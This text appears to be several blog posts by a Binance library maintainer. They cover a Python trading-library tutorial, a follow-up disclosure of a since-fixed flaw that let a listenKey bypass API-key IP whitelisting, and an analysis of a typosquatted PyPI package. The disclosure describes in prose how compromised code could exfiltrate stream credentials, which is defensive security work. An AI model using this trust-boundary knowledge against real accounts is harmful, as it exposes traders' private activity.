    while ubwa.is_stop_request(stream_id=stream_id) is False:
        data = await ubwa.get_stream_data_from_asyncio_queue(stream_id=stream_id)
        print(data)
        ubwa.asyncio_queue_task_done(stream_id=stream_id)


async def main():
    ubwa.create_stream(
        channels=["trade"],
        markets=["ethbtc", "btcusdc"],
        stream_label="TRADES",
        process_asyncio_queue=process_asyncio_queue,
    )
    while not ubwa.is_manager_stopping():
        await asyncio.sleep(1)


with BinanceWebSocketApiManager(exchange="binance.com") as ubwa:
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("Gracefully stopping ...")

What this gives you:

• one explicit coroutine for the stream,

• a real await on incoming data,

• clean backpressure via asyncio_queue_task_done(),

• a manager lifecycle that exits cleanly when used with with.

Subscribe and unsubscribe without rebuilding the stream

UBWA can add or remove markets and channels at runtime:

markets = ["engbtc", "zileth"]
channels = ["kline_5m", "kline_15m", "depth5"]

ubwa.subscribe_to_stream(stream_id=stream_id, channels=channels, markets=markets)
ubwa.unsubscribe_from_stream(stream_id=stream_id, markets=markets)
ubwa.unsubscribe_from_stream(stream_id=stream_id, channels=channels)

That matters in real bots. You do not want to tear down and recreate a socket every time your market universe changes.

What's true for all receiving patterns

Regardless of which option you pick:

1. WebSocket receiving is asynchronous by nature. You subscribe once; Binance pushes frames when they exist. Your job is to route and process them correctly.

2. UBWA owns the socket lifecycle. Reconnects, listenKey renewal for user-data streams, ping/pong, and stream health happen below your strategy code.

3. UnicornFy is optional but useful. Use output="UnicornFy" when you want readable dict keys instead of raw Binance event fields.

4. Receiving data is not the same as knowing the stream is healthy. That is what stream_signals are for.

Stream Signals: Know When Your Bot Is Blind

Receiving data is only half of a WebSocket client. The other half is knowing whether the stream itself is currently trustworthy.

A WebSocket is asynchronous by nature. Data arrives when Binance pushes it. Silence can mean "no trade happened", but it can also mean "your connection is gone", "the stream is reconnecting", "the first data frame has not arrived yet", or "this stream cannot be restored". For a trading bot, those states are not cosmetic. They decide whether indicators are still valid, whether a strategy should pause, whether missing data must be reloaded via REST, or whether open positions should be handled defensively.

UBWA exposes this through stream_signals. They tell your code about lifecycle changes in real time:

That last distinction matters: connected is not the same as usable. A bot that subscribes to btcusdc@depth and immediately starts trading before the first data frame arrived is guessing. A bot that keeps calculating indicators after a disconnect is blind. stream_signals make those states explicit.

The callback version is usually the cleanest production pattern:

from unicorn_binance_websocket_api import BinanceWebSocketApiManager
import time


def process_stream_signals(signal_type=None, stream_id=None, data_record=None, error_msg=None):
    print(
        f"Received stream_signal for stream '{ubwa.get_stream_label(stream_id=stream_id)}': "
        f"{signal_type} - {stream_id} - {data_record} - {error_msg}"
    )


with BinanceWebSocketApiManager(process_stream_signals=process_stream_signals) as ubwa:
    ubwa.create_stream(channels="trade", markets="btcusdc", stream_label="TRADES")
    time.sleep(7)

For simpler scripts you can also enable the signal buffer and poll it, similar to normal stream data:

ubwa = BinanceWebSocketApiManager(
    exchange="binance.com",
    enable_stream_signal_buffer=True,
)

ubwa.create_stream(channels="trade", markets="btcusdc", stream_label="BTCUSDC_TRADES")

while True:
    signal = ubwa.pop_stream_signal_from_stream_signal_buffer()
    if signal:
        print(signal)

This is a small feature with huge operational impact. It turns WebSocket reliability from log-reading into code-level state. Your own application can know:

• "I am connected, but not live yet."

• "I received the first usable market-data frame."

• "I just lost the stream and must stop trusting derived indicators."

• "This stream is unrecoverable and needs human or strategy-level intervention."

This is also why UBWA fits so well underneath UBLDC and UBDCC. A depth cache does not only need bids and asks. It needs lifecycle truth. CONNECT, FIRST_RECEIVED_DATA, DISCONNECT, and STREAM_UNREPAIRABLE are the vocabulary that lets the next layer decide whether data is authoritative, stale, recovering, or unusable.

Trading Over WebSocket: Create and Cancel Orders Without REST

There is one Binance feature many Python guides still treat as an afterthought: the Binance WebSocket API.

This is not the same thing as a market-data WebSocket stream.

A market-data stream pushes events to you: trades, klines, depth updates, user-data events. The WebSocket API is a request/response API over a persistent WebSocket connection: place an order, cancel an order, query account state, and receive a correlated response later — without opening a new HTTP request for every action.

That last word matters: later.

WebSocket is asynchronous by nature. You send a request into an already-open connection and move on. At some later point Binance pushes a response frame back. Your code should not pretend that this is just REST with a different transport. The clean design is not "call function, block forever, hope the socket behaves." The clean design is:

1. send a request with an ID,

2. receive frames asynchronously,

3. route the matching response to the right handler,

4. keep the connection lifecycle independent from the strategy logic.

For slow scripts, REST is fine. For systems that already live on WebSockets, jumping back to REST for trading actions creates an awkward split:

• market data arrives over WebSocket,

• the strategy reacts in memory,

• order placement jumps back to REST,

• response handling follows a different path,

• request IDs, retries, state reconciliation, and failure handling become your problem.

UBWA supports Binance WebSocket API requests directly through the same manager model used for streams.

from unicorn_binance_websocket_api import BinanceWebSocketApiManager

ubwa = BinanceWebSocketApiManager(
    exchange="binance.com",
    api_key="YOUR_API_KEY",
    api_secret="YOUR_API_SECRET",
    output_default="dict",
)

api_stream_id = ubwa.create_stream(api=True)

ubwa.api.spot.create_order(
    stream_id=api_stream_id,
    symbol="BTCUSDC",
    side="BUY",
    order_type="LIMIT",
    time_in_force="GTC",
    quantity="0.001",
    price="50000",
)

# The response is pushed back by Binance and handled asynchronously.

That is the natural WebSocket way: send the request, keep the socket alive, process the response when it arrives.

For scripts, demos, tests, or migration from REST-style code, UBWA can also wait for the matching response and return it directly:

response = ubwa.api.spot.create_order(
    stream_id=api_stream_id,
    symbol="BTCUSDC",
    side="BUY",
    order_type="LIMIT",
    time_in_force="GTC",
    quantity="0.001",
    price="50000",
    return_response=True,
)

print(response)

Canceling an order follows the same model:

ubwa.api.spot.cancel_order(
    stream_id=api_stream_id,
    symbol="BTCUSDC",
    order_id=123456789,
)

The important part is not only that order placement and cancellation work over WebSocket. The important part is how responses can be processed.

UBWA lets you handle WebSocket API responses in several ways:

• global callback,

• stream-specific callback,

• request-specific callback,

• async handler,

• blocking return_response=True,

• or the normal stream buffer.

That makes the same feature usable in a notebook, a CLI tool, a long-running bot, or a service with dedicated request routing.

A small but useful detail: stream_id=api_stream_id is only required when more than one WebSocket API stream is active. If there is exactly one WebSocket API stream, UBWA can use that stream automatically. In simple examples I still pass the stream_id explicitly because it makes the routing visible.

The real advantage shows up in multi-account or multi-key setups: you can run several WebSocket API streams with different api_key / api_secret pairs and then explicitly route a request to the stream that belongs to the right account.

To stay fair: this is no longer a UBS-only checkbox. python-binance documents API requests via WebSockets, Binance's official binance-sdk-spot describes itself as supporting REST API, WebSocket API, and WebSocket Streams, and CCXT/CCXT Pro has exchange-dependent WebSocket support. The difference is the operational model: in UBWA, WebSocket streams, WebSocket API requests, reconnect handling, callbacks, stream buffers, async queues, and request routing all live inside one Binance-native manager.

A full walkthrough lives here: Create and Cancel Orders via WebSocket on Binance.

This is where UBS becomes more than "REST client plus WebSocket client". REST, market streams, user-data streams, WebSocket API trading requests, response routing, and reconnect handling fit into one mental model.

A Local Order Book Without the Pain (UBLDC)

If your strategy reads the order book more than a few times per second, REST polling is a dead end: every call is a round trip across the internet, you will hit rate limits, and the data is stale by the time you parse it. The right answer is a local depth cache — Binance pushes diffs over WebSocket, you keep a synchronized copy in memory.

The naive way to do this is on the third page of Binance's docs. The right way is what UBLDC does: create the cache, read asks and bids, and let the manager handle synchronization, pruning, and resync logic.

import time
from unicorn_binance_local_depth_cache import BinanceLocalDepthCacheManager, DepthCacheOutOfSync

ubldc = BinanceLocalDepthCacheManager(exchange="binance.com", depth_cache_update_interval=100)
ubldc.create_depthcache("BTCUSDC")

# Wait for the initial REST snapshot + WebSocket diff synchronization.
while ubldc.is_depth_cache_synchronized("BTCUSDC") is False:
    time.sleep(0.1)

try:
    asks = ubldc.get_asks(market="BTCUSDC", limit_count=5)
    bids = ubldc.get_bids(market="BTCUSDC", limit_count=5)

    print("Top 5 asks:")
    for price, qty in asks:
        print(f"  {price}  qty={qty}")

    print("Top 5 bids:")
    for price, qty in bids:
        print(f"  {price}  qty={qty}")

except DepthCacheOutOfSync:
    print("BTCUSDC depth cache is currently out of sync — skip this decision cycle.")

ubldc.stop_manager()

That exception is the important contract.

A local order book can temporarily be unusable: initial snapshot still loading, sequence gap detected, reconnect in progress, resync running. UBLDC does not silently pretend that stale memory is still authoritative. If you access the book while it is out of sync, it can raise DepthCacheOutOfSync. Your strategy can then pause, skip this tick, reduce risk, or wait for the cache to recover.

Reading the book the way strategies actually need it

Most strategies don't want "the full book." They want the first N levels or enough depth to fill X quote-units of volume. UBLDC's get_asks / get_bids accept both forms:

# First 10 levels on each side
asks = ubldc.get_asks("BTCUSDC", limit_count=10)
bids = ubldc.get_bids("BTCUSDC", limit_count=10)

# All levels until cumulative volume crosses 300 000, e.g. USDT for a USDT pair
asks = ubldc.get_asks("BTCUSDC", threshold_volume=300000)
bids = ubldc.get_bids("BTCUSDC", threshold_volume=300000)

limit_count=N trims the result to the top N levels by price. threshold_volume=X walks the book outward until the cumulative quote volume crosses X and stops there — exactly what you need to estimate "how far would I move the price if I market-bought X USDT of BTC right now?" without slicing the full book yourself.

DepthCacheOutOfSync is the production boundary

You do not have to call is_depth_cache_synchronized() before every read. That is useful for dashboards, readiness checks, or explicit control flow. The stronger production pattern is to treat reads as authoritative only if they succeed, and to handle DepthCacheOutOfSync where your strategy consumes the book:

from unicorn_binance_local_depth_cache import DepthCacheOutOfSync

try:
    asks = ubldc.get_asks("BTCUSDC", limit_count=10)
    bids = ubldc.get_bids("BTCUSDC", limit_count=10)
except DepthCacheOutOfSync:
    logger.warning("BTCUSDC depth cache out of sync — skipping decision cycle")
    return

# If execution reaches this point, the strategy has a usable book snapshot.
run_strategy(asks=asks, bids=bids)

That distinction matters. A boolean pre-check can be stale by the time you act on it. The exception is raised at the access boundary, exactly where trust is needed.

is_depth_cache_synchronized("BTCUSDC") still has a place:

if not ubldc.is_depth_cache_synchronized("BTCUSDC"):
    logger.info("BTCUSDC still initializing or resyncing")

Use it for observability and readiness. Use DepthCacheOutOfSync for correctness.

Sidebar — Binance's docs are incomplete about depth caches

This is the part most libraries get subtly wrong, and most users never notice until their P&L starts drifting.

Binance's published depth-cache algorithm is incomplete in one specific way: when a price level falls out of the top-1000, Binance stops sending updates for it — but never sends a "delete" event for it either. A library that follows the documentation blindly will accumulate orphaned levels forever. Your "order book" turns into a museum of orders that no longer exist. Strategies that key off the depth profile slowly start trading against ghosts.

UBLDC actively prunes out-of-scope levels. I ran a 25-hour side-by-side experiment to quantify the rot: a naive cache built strictly to spec versus the UBLDC-style pruned cache, fed by the same WebSocket stream. After 9 hours the naive cache was at ~34% bid-match / ~45% ask-match against a fresh REST snapshot, with 22 000 stale levels still in memory. The pruned cache held a steady ~1050 levels at 90–97% match for the full run.

Full write-up with charts and raw data: Your Binance DepthCache Is Rotting — Here's the Proof in 25 Hours. If you build your own depth cache or use a library that doesn't handle this, please at least read the comparison chart.

UBLDC additionally:

• validates U / u sequence numbers on every update and resynchronizes on gap detection,

• raises DepthCacheOutOfSync instead of silently serving stale data while a cache is unusable,

• buffers WebSocket events during the initial REST snapshot load,

• removes orphaned out-of-scope levels beyond the top-1000 corridor,

• runs many caches in one Manager.

Trailing Stop Loss from the CLI or Python (UBTSL)

Risk management is the second-most-asked Binance-Python topic after "how do I get the price?"

A trailing stop looks simple from the outside: follow the market while it moves in your favor, keep moving the stop behind it, and exit when the market reverses far enough. In practice, the annoying parts are all operational:

• where to store API keys,

• how to test connectivity before risking a live order,

• how to run the trailing engine from a terminal,

• how to reuse predefined profiles,

• and how to integrate the same logic into Python code when the CLI is not enough.

That is what UNICORN Binance Trailing Stop Loss (UBTSL) is for.

CLI workflow

The CLI is the fastest way to use UBTSL directly from a terminal.

# add Binance API key and secret
ubtsl --createconfigini
ubtsl --openconfigini

# test connectivity
ubtsl --test binance-connectivity

# start trailing
ubtsl -m BTCUSDC -n trail --stoplosslimit 1% -e binance.com

# use a profile
ubtsl --createprofilesini
ubtsl --openprofilesini
ubtsl --profile BTCUSDC_SELL --stoplosslimit 1.5%

# cancel all open orders on the configured account/exchange
ubtsl --profile BTCUSDC_SELL --cancelopenorders

# help
ubtsl -h

The normal flow is:

1. create the config file,

2. add your Binance API key and secret,

3. test connectivity,

4. start a trailing stop directly or through a named profile.

Profiles are useful once you repeatedly trade the same market or strategy pattern. Instead of passing every detail on the command line each time, you define the profile once and then override only the values you want to change, such as --stoplosslimit.

The example above starts a trailing stop on BTCUSDC with a 1% stop-loss limit on binance.com. The profile example starts the predefined BTCUSDC_SELL setup and overrides the stop-loss limit to 1.5%.

--cancelopenorders is a practical cleanup command when you intentionally want to cancel all currently open orders on the configured account/exchange before starting fresh. Use it deliberately — it does exactly what the name says.

Python integration

UBTSL can also be used from Python when the trailing stop should be part of a larger bot or service. The exact parameters depend on the trade direction, market, profile, and execution mode you want to use, so the official example should be treated as the reference implementation:

example_binance_trailing_stop_loss.py

The important architectural point is this: UBTSL is not just a small formula that calculates a moving stop price. It is an engine around Binance execution state. It tracks the market, updates the stop logic, reacts to partial fills and finished orders, and gives you callbacks for operational handling.

A minimal SDK integration usually follows this shape:

import asyncio
from unicorn_binance_trailing_stop_loss.manager import BinanceTrailingStopLossManager


def callback_error(error_msg=None):
    print(f"ERROR: {error_msg}")


def callback_finished(msg=None):
    print(f"FINISHED: {msg}")


def callback_partially_filled(msg=None):
    print(f"PARTIALLY FILLED: {msg}")


async def main():
    with BinanceTrailingStopLossManager(
        api_key="YOUR_API_KEY",
        api_secret="YOUR_API_SECRET",
        market="BTCUSDC",
        stop_loss_limit="1.5%",
        callback_error=callback_error,
        callback_finished=callback_finished,
        callback_partially_filled=callback_partially_filled,
    ) as ubtsl:
        while not ubtsl.is_manager_stopping():
            await asyncio.sleep(1)


try:
    asyncio.run(main())
except KeyboardInterrupt:
    print("Gracefully stopping ...")

For a production bot, I would not paste this blindly and call it done. I would start from the official example, wire the callbacks into your own logging/alerting, and make sure the account, market, order side, and stop-loss behavior match your intended execution model.

Stop Parsing Raw Binance JSON by Hand (UnicornFy)

Binance's raw WebSocket frames are compact and cryptic. Here's a kline update straight off the wire:

{"stream":"btcusdc@kline_1m","data":{"e":"kline","E":1778563770000,"s":"BTCUSDC","k":{"t":1778563740000,"T":1778563799999,"s":"BTCUSDC","i":"1m","o":"81251.35","c":"81292.61","h":"81293.00","l":"81250.61","v":"1.42442","n":50,"x":false,"q":"115789.12","V":"0.81","Q":"65872.55","B":"0"}}}

Single-letter keys. Nested envelopes. Easy to mis-parse, hard to read at a glance. UnicornFy turns that into:

from unicorn_fy.unicorn_fy import UnicornFy
parsed = UnicornFy().binance_com_websocket(raw)

{
  "stream_type": "btcusdc@kline_1m",
  "event_type": "kline",
  "event_time": 1778563770000,
  "symbol": "BTCUSDC",
  "kline": {
    "kline_start_time": 1778563740000,
    "kline_close_time": 1778563799999,
    "symbol": "BTCUSDC",
    "interval": "1m",
    "open_price": "81251.35",
    "close_price": "81292.61",
    "high_price": "81293.00",
    "low_price": "81250.61",
    "base_volume": "1.42442",
    "number_of_trades": 50,
    "is_closed": false,
    "quote": "115789.12",
    "taker_by_base_asset_volume": "0.81",
    "taker_by_quote_asset_volume": "65872.55"
  }
}

You usually don't call UnicornFy directly — pass output_default="UnicornFy" to UBWA and every frame that lands in your buffer is already normalized.

Scaling Beyond a Single Process: UBDCC

A single UBLDC process can handle many markets. The moment you need redundancy or multiple consumers, the order book should stop living inside one bot process.

UBDCC turns UBLDC into a shared service. You run the cluster once, create DepthCaches there, and every bot, dashboard, or service reads the same synchronized order-book source over HTTP. Locally, the REST API listens on port 42081; in Kubernetes, it is exposed through the ubdcc-restapi service, usually on port 80 behind a LoadBalancer.

Quick local start:

pip install ubdcc
ubdcc start

Create redundant DepthCaches:

curl -X POST 'http://127.0.0.1:42081/create_depthcaches' \
  -H 'Content-Type: application/json' \
  -d '{"exchange": "binance.com", "markets": ["BTCUSDC", "ETHUSDT", "BNBUSDC"], "desired_quantity": 2}'

Query the order book via REST:

curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&market=BTCUSDC&limit_count=5'
curl 'http://127.0.0.1:42081/get_bids?exchange=binance.com&market=BTCUSDC&limit_count=5'

The important point is the URL shape:

/get_asks?exchange=binance.com&market=BTCUSDC&limit_count=5
/get_bids?exchange=binance.com&market=BTCUSDC&threshold_volume=100000

UBDCC exposes synchronized order-book data through explicit REST endpoints such as /get_asks and /get_bids. For normal consumers, the response stays focused on the requested book side. When you need operational details, debug=true adds routing and timing metadata.

curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&market=BTCUSDC&limit_count=2&debug=true'

UBDCC consists of three component types:

• mgmt on 42080: cluster state and DepthCache distribution,

• restapi on 42081 locally / 80 in Kubernetes: the endpoint your clients call,

• DCN processes from 42082 upward: the workers running the actual UBLDC DepthCaches.

Your client calls restapi. It routes reads to the responsible DCN and management operations to mgmt.

Two posts dive into UBDCC in detail:

• UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books — architecture, why it exists, what problem it solves.

• From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart — a working cluster in minutes.

What "Production-Grade" Actually Means

Most articles compare libraries on what they do. The ones that decide whether your bot survives a year compare on what they handle when things go wrong. Here's the practical checklist that separates a weekend project from a service:

This is not only for large desks. Beginners benefit from stable defaults too. A small bot is not better because its WebSocket handling is fragile, and python-binance is not automatically simpler just because it ranks first. The practical reason to look at UBS is that it makes many failure modes explicit before they become your problem.

Trust and installation notes

UNICORN Binance Suite is MIT-licensed open source. Install from PyPI or the official GitHub repositories under oliver-zehentleitner.

There have been fraudulent repositories impersonating UBWA with malware payloads, so avoid random forks, ZIP downloads, or similarly named projects. The official package names are listed above.

Where to Go from Here

Build something:

• Stream market data → Kafka, ready for downstream processing: Passing Binance Market Data to Apache Kafka in Python with aiokafka

• Atomic OCO take-profit + stop-loss: Buy an Asset and Instantly Create a Take-Profit + Stop-Loss OCO Sell Order

• Run a redundant order-book cluster: UBDCC + Dashboard Quickstart

Understand the internals:

• Why a "correct" depth cache rots if you follow the spec: Your Binance DepthCache Is Rotting

• What UBDCC actually does, architecturally: UBDCC Deep-Dive

• The Binance API security model and where it leaks: Binance Fixed the IP Whitelist Gap. The Disclosure Process Is Still Broken

Docs and source:

• UBWA: docs · GitHub

• UBRA: docs · GitHub

• UBLDC: docs · GitHub

• UBTSL: docs · GitHub

• UnicornFy: docs · GitHub

• UBDCC: docs · GitHub

• Suite meta-package: docs · GitHub

Talk to humans:

• Telegram: t.me/unicorndevs — the answer to most questions is one message away.

• GitHub Discussions on any of the repos above.

Closing

python-binance, the official Binance SDKs, and CCXT are useful tools. They exist for real reasons. But UBS is built around a different premise: a Binance bot should not only be able to call endpoints — it should understand stream lifecycle, reconnects, order-book trust, out-of-sync states, WebSocket API routing, and failure surfaces from the beginning.

That is useful for production systems, but it is also useful for beginners. Starting small does not mean starting fragile. A stable library is not overkill just because your first script has 50 lines.

If you are building anything Binance-specific in Python, try the suite once. The install is one line. The list of things you no longer have to reinvent is the rest of this article.

Either way: name the failure modes before you ship. The libraries that make those states visible are the ones you want under your code.

This guide will be expanded into a series of deep-dives — WebSocket API request routing, WebSocket reconnect internals, stream_signals, the high_performance flag, OCO order patterns, UBDCC cluster architecture, and more. Subscribe to the UNICORN Binance Suite series to catch each one as it lands.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

Not because I enjoy re-litigating old reports.

Because the last thirteen days made the threat model painfully concrete.

I found or stumbled into fake GitHub repositories, a broader nailproxy.space malware campaign, a StealC-linked delivery chain, a fake job interview abusing VSCode workspace trust, and a PyPI typosquat targeting my Binance WebSocket library.

Different cases. Same direction.

Attackers are trying to get code executed exactly where API keys live: developer machines, bot servers, CI jobs, dependency trees, IDE workspaces, and trading infrastructure.

That matters because I reported a Binance API trust-boundary issue around IP whitelisting and listenKey in December 2024.

So I went back and re-tested it.

The result surprised me.

The vulnerability appears to be fixed.

That is good.

Really good.

But the way we got here is not good.

Because the same issue was previously rejected as “Social Engineering,” marked “Not Applicable,” not rewarded, not acknowledged — and now the behavior I reported is gone.

The finding was not rewardable enough to acknowledge.

But apparently it was technical enough to fix.

That is the part I cannot ignore.

The original issue

Binance API keys can be restricted to specific IP addresses.

That creates a strong security expectation:

Even if credentials leak, they should be useless outside the trusted IP range.

That is the point of IP whitelisting.

But the old listenKey model for private user data streams did not follow that boundary consistently.

A listenKey could be created from a whitelisted system using only the API key — no API secret, no request signature, no proof of possession.

The resulting listenKey could then be used from outside the configured IP whitelist to consume private user data streams.

No trading permission.

No withdrawal permission.

No direct account takeover.

But full real-time visibility into sensitive account activity:

• balances

• orders

• executions

• positions

• liquidation-relevant state

• timing

• strategy behavior

For automated trading systems, that is not harmless data.

In trading, visibility is value.

Open orders are value. Positions are value. Execution timing is value. Strategy behavior is value.

A system that exposes that data outside the configured IP boundary leaks more than most users realize.

The rule should be simple:

A derived credential must not be more portable than the credential that created it.

That was the issue.

Why “Social Engineering” was the wrong answer

The report was not about someone tricking a user into handing over a token.

It was about an architectural boundary mismatch.

Bugcrowd / Binance treated the attack scenario as requiring Social Engineering.

I disagreed then.

I disagree now.

Because the relevant attack path was never:

Please send me your listenKey.

The relevant attack path was:

Trusted code running in a whitelisted environment can create or exfiltrate a listenKey, and the attacker can consume it outside that environment.

That is how supply-chain compromise works.

A malicious dependency does not ask nicely.

A compromised bot does not ask the user to forward a token.

An infected package does not need a phishing form.

A malicious IDE workspace does not need the user to understand what it runs.

It executes in the place the user already trusts.

That is exactly why IP whitelisting exists.

And that is exactly why derived stream credentials should inherit the same boundary.

The old proof was real

This was not only an argument.

I had proof.

The original Bugcrowd reports included scripts and video material demonstrating the flow. Later, I also published the public case study:

When IP Whitelisting Isn't What It Seems: A Real-World Case Study from the Binance API

I also have an old video from November 26, 2025 demonstrating that the issue was still reproducible at that time:

https://www.youtube.com/watch?v=y9dGtHLEBp8

That video has about 30 views.

Which is funny in a bitter way.

Because the finding was not subtle.

The user expectation around IP whitelisting was clear. The architectural mismatch was clear. The supply-chain threat model was clear.

The recommended fix was also clear:

• enforce the same IP restrictions on listenKey as on the original API key

• require proof of possession of the API secret when issuing a stream credential

• treat stream credentials as sensitive account credentials, not harmless session strings

That was the whole point.

Why I re-tested it now

The last thirteen days changed the context.

I documented or found:

• fake GitHub repositories impersonating my Binance tooling

• a broader malware campaign using open-source project names as lures

• a StealC-linked delivery chain

• a fake job interview abusing developer-tool trust

• a PyPI package squat around my Binance WebSocket library

Those are not theoretical attack paths.

They target exactly the environments where API credentials live.

That was my point in 2024.

It is even more obvious in 2026.

Supply-chain attacks do not require the user to forward a token.

They require trusted code to run in a trusted place.

That is the whole problem.

So I re-tested the current state on May 5, 2026.

The re-test setup

The test used one Binance API key with full permissions except withdrawals.

The key was restricted to one specific Telekom Austria IPv4 address.

I tested two source-IP states:

• a whitelisted Telekom Austria home IPv4

• non-whitelisted Mullvad WireGuard exits

The probes were pure REST POST calls to the relevant listenKey endpoints using only the X-MBX-APIKEY header.

No trades.

No signed actions for the listenKey probes.

No account interaction beyond testing whether the stream credential could be created.

The API key was handled via environment variable, redacted in logs, and rotated after the test.

What I found

Short version:

Binance fixed it.

More precisely:

Spot and Margin did not merely start enforcing the old model.

They moved away from it.

Futures still has listenKey, but the old bypass no longer reproduced.

From the whitelisted IP:

POST /fapi/v1/listenKey  -> 200 OK
POST /dapi/v1/listenKey  -> 200 OK

From a non-whitelisted Mullvad IP:

POST /fapi/v1/listenKey  -> 401 / -2015
POST /dapi/v1/listenKey  -> 401 / -2015

The error message included the live request IP.

That matters.

It strongly suggests Binance is now checking the request source IP against the API key whitelist for the Futures listenKey endpoints, just as it does for signed private endpoints.

I also cross-checked that this was not simply Binance blocking Mullvad.

Public no-auth Futures endpoints worked from the same Mullvad exit.

Signed private endpoints failed with the same -2015 IP-whitelist error.

Changing the Mullvad exit changed the reflected request IP in the error message.

That is exactly what enforced IP whitelisting looks like.

The lifecycle details are interesting

Spot now returns:

410 Gone

for the old Spot user data stream endpoint.

That is a deliberate lifecycle signal.

It means: this endpoint used to exist, and it is gone.

Margin behaves differently.

Cross-Margin and Isolated-Margin returned generic 404 Not Found responses through the sapi routing layer.

So Binance appears to have retired Spot more explicitly, while Margin was simply removed from routing.

That is not the central issue, but it is interesting.

The final state is still good for users:

• Spot: retired

• Margin: retired

• Futures: live but now IP-enforced

From a security perspective, that is a real improvement.

The bug is gone. The process is the story now.

I want to be very clear:

I am glad this is fixed.

Users are safer now.

That matters.

If a compromised API key can no longer be used from an arbitrary IP to obtain a Futures listenKey, that is good.

If Spot and Margin moved away from the old model entirely, that is good.

If Binance quietly closed a trust-boundary gap, that is good.

But it does not erase the disclosure problem.

Because the report was not accepted as a valid security issue.

It was closed as Not Applicable.

It was repeatedly framed as Social Engineering.

And now the behavior it described is gone.

That is the uncomfortable part.

The finding was not rewardable enough to acknowledge.

But apparently it was technical enough to fix.

The process punished persistence

Responsible disclosure is not only about bugs.

It is about incentives.

If a researcher reports a real architectural issue, provides proof, explains supply-chain impact, provides real-world examples, and the issue later disappears from production, then the process should be able to say:

Yes, this was useful.

It does not always need to mean a big bounty.

It does not always need to mean a CVE.

It does not always need to mean a public incident report.

But it should not result in:

• rejection as Not Applicable

• repeated misclassification

• no acknowledgement

• no reward

• no clear public fix note

• no correction of the original assessment

• procedural pressure against further review requests

There is another part of this that should not be softened.

After I pushed back and asked for a proper review, the response did not become more technical.

It became more procedural.

I was warned that further response requests without “additional information” could affect my accuracy score or even my ability to create response requests.

That matters.

Because I was not submitting vague noise.

I had provided a reproducible issue, PoC material, real-world leakage examples, supply-chain scenarios, and a clear explanation of why this was not Social Engineering.

And now the behavior I reported appears to be gone.

That is not just disappointing.

That is a broken incentive structure.

A disclosure process should not make the researcher feel like the risky action is continuing to explain the bug.

Why this matters

The people most likely to find architectural issues are often the people who live inside the ecosystem:

• maintainers

• infrastructure developers

• SDK authors

• bot developers

• API integrators

• security engineers

• power users

Those people are not scanning random forms for easy XSS.

They understand the system because they build around it every day.

If they stop trusting the disclosure process, the platform loses an early-warning system.

And that is exactly the wrong outcome.

Especially for ecosystems where automated trading, API credentials, third-party libraries, and supply-chain risk are tightly connected.

What I want from Binance

I do not want to pretend the fix does not matter.

It does.

I also do not want to pretend the process was acceptable.

It was not.

A fair outcome would have been simple:

• acknowledge the trust-boundary question

• confirm reproducibility

• classify the finding honestly

• explain product-line limitations if legacy compatibility made fixing hard

• give a clear fix timeline or documentation note

• recognize the report, even if no bounty was paid

That would already have been enough.

Instead, the public result is this:

A reported architectural issue was rejected as Social Engineering.

The same architectural behavior is now gone.

And the person who reported it had to discover that by re-testing it independently.

That is not how a healthy disclosure process should feel.

To be clear: I still like Binance.

I build and maintain open source infrastructure for the Binance ecosystem because I think the ecosystem matters.

Binance has built useful APIs.

The developer community around those APIs is real.

A lot of people depend on this infrastructure.

That is exactly why I care.

This is not about hating Binance.

It is about expecting better from a platform that sits at the center of a large automated-trading ecosystem.

The uncomfortable conclusion

I started this follow-up expecting to show that the old issue was still open.

That would have been easy.

Instead, I found something more interesting.

The bug appears to be gone.

The security boundary is better now.

Users are safer.

Good.

But the disclosure process still failed.

The last thirteen days made the original threat model practical.

The May 5 re-test showed that Binance has apparently moved in the direction the report argued for.

Those two facts belong together.

The technical fix deserves credit.

The process deserves criticism.

Because responsible disclosure should not work like this:

Report the issue.

Get told it is not an issue.

Watch it silently get fixed.

Receive no acknowledgement.

That is not sustainable.

And it is not fair.

The technical system got safer.

The disclosure process did not.

That should worry every platform that depends on external researchers.

I hope you found this informative and useful.

Follow me on Binance Square, GitHub, X, and LinkedIn, or join Telegram for updates on my latest publications. Constructive feedback is always appreciated.

Thank you for reading, and happy coding! ¯\_(ツ)_/¯

unicorn-binance-websocket-api-onion

I do not maintain this package.

There is no official Tor, onion, proxy, or privacy-focused variant of UNICORN Binance WebSocket API.

The official package is:

unicorn-binance-websocket-api

At first glance, the -onion suffix looks plausible enough to be mistaken for a legitimate variant.

That is exactly the problem.

And there is another reason this caught my attention immediately:

the same PyPI account, onionj, also maintains pybotnet, a package whose own description presents it as a framework for building remote control, botnet, trojan, or backdoor functionality.

So this was not just a random suffix collision.

It was a plausible package-name squat around my Binance trading library, published by an account that also publishes remote-control / botnet tooling, while keeping old LUCIT author metadata that makes the package look more official than it is.

I analyzed the package statically.

The version I reviewed does not contain malware. No obvious payload. No stage-2 download. No exec. No eval. No base64-decoded loader. No hidden exfiltration logic.

It is basically a near-identical fork of my upstream 1.46.2 release.

And I am reporting it anyway.

Because a clean typosquat can still be a supply-chain problem.

Why I looked at it

I started checking project-name collisions around the UNICORN Binance Suite more actively after the recent nailproxy.space GitHub impersonation campaign.

That campaign abused recognizable open source project names, including mine, to lure developers into running malicious code.

I also published a separate security warning about a fraudulent GitHub repository impersonating UNICORN Binance WebSocket API.

That one was already weaponized.

This PyPI case is different.

It is not a live malware dropper.

But it belongs to the same family of supply-chain hygiene problems:

someone is using a recognizable project name to put adversary-controlled code into a developer package index.

That alone is enough reason to look closely.

The package

The package I analyzed:

The declared author is the first obvious problem.

LUCIT Systems and Development <info@lucit.tech> is historical metadata from my own project. It is not the uploader’s identity. It makes the package look official at first glance.

It is not.

PyPI itself shows onionj as the maintainer of this project, while the unverified metadata still lists LUCIT Systems and Development as the author and keeps multiple old LUCIT / UNICORN Binance WebSocket API project links.

The declared homepage also points to:

https://github.com/onionj/unicorn-binance-websocket-api

At the time of review, that URL returned 404 Not Found.

So the project page says, in effect:

• maintained by onionj,

• authored by LUCIT Systems and Development,

• linked to an unavailable GitHub repository,

• packaged under a plausible -onion suffix,

• and installed into the official import namespace.

